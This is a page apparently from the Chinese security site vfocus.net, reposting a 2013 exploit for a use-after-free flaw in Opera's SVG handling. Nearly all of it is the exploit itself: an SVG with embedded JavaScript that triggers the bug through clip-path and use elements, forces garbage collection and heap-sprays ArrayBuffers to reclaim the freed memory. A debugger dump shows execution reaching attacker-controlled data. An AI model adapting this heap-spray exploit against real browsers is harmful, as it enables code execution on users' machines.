首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Opera SVG Use After Free Vulnerability
来源:vfocus.net 作者:Cons0ul 发布时间:2013-02-06  

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w0.org/1999/xlink">
<g id="group">
<defs>
    <clipPath id="clip-circle" clip-path="url(#clip-rect)">
    </clipPath>
     <clipPath id="clip-rect">
    </clipPath>
</defs>
<circle id="rect" x="10" y="10" width="100" height="100" fill="green" />
</g>
<script><![CDATA[

//Author=Cons0ul

var b = new Array();

// this is our spray function where spray is allocated on LFH with exact size 0x78
// so 0x78 size of block is created so far we are creating 0x50000 blocks
// to create 0x78 blocks we are using ArrayBuffer();

function feng_shui(){

for(i=0;i<1000;i++)window.opera.collect(); // <----- garbage collection


 for(i=0;i<0x50000;i++){
  payload = new ArrayBuffer(0x78) // use 0xb0 for 64bit machine
  payload[0]=0x6c
  payload[1]=0x03
  payload[2]=0xfe
  payload[3]=0x7f
  b.push(payload)
 }
}


// bug is use after free in handling of (use tag + clippath) witch try to access freed object
//

  document.getElementById('rect').setAttribute('clip-path',"url(#clip-circle)");
  var c = document.createElement('use');
  c.setAttribute("xlink:href","rect")
    
  feng_shui();
  document.getElementById('clip-rect').appendChild(c);
  document.getElementById('rect').style.clipPath="url(#clip-circle)" // <----- bug
  window.opera.collect() // <------ gc() frees the allocation
  feng_shui(); //   <------------ we allocate our code at freed memory
  // at the end it tries freed block witch contains our data
  window.location.href=window.location.href;


/*  

idc !heap -p -a ecx

  address 077c45e0 found in
    _HEAP @ b40000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        077c45d8 0010 0000  [00]   077c45e0    00078 - (free)

 

PS C:\Users\cons0ul> idc db ecx
077c45e0  92 48 fe 7f 00 00 00 00-00 00 00 00 00 00 00 00  .H..............
077c45f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4600  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4610  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4620  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4630  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4640  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4650  00 00 00 00 00 00 00 00-89 d0 6a 5b 00 00 00 88  ..........j[....
PS C:\Users\cons0ul> idc r
eax=7ffe4892 ebx=00000001 ecx=077c45e0 edx=00000000 esi=0372e590 edi=01d40048
eip=6b8c998b esp=0013e334 ebp=00000000 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
Opera_6b430000!OpGetNextUninstallFile+0xf8583:
6b8c998b ff5008          call    dword ptr [eax+8]    ds:0023:7ffe489a=????????
*/

  ]]></script>
</svg>


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·DataLife Engine preview.php PH
·FreeBSD 9.1 ftpd Remote Denial
·Oracle Automated Service Manag
·Portable UPnP SDK unique_servi
·Inter-Keystroke Timing Proof O
·Linux Kernel /dev/ptmx Key Str
·D-Link DCS Cameras Authenticat
·VMWare OVF Tools Format String
·Photodex ProShow Producers 5.0
·ActFax 5.01 RAW Server Buffer
·Apple Quick Time Player (Windo
·cURL Buffer Overflow Vulnerabi
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved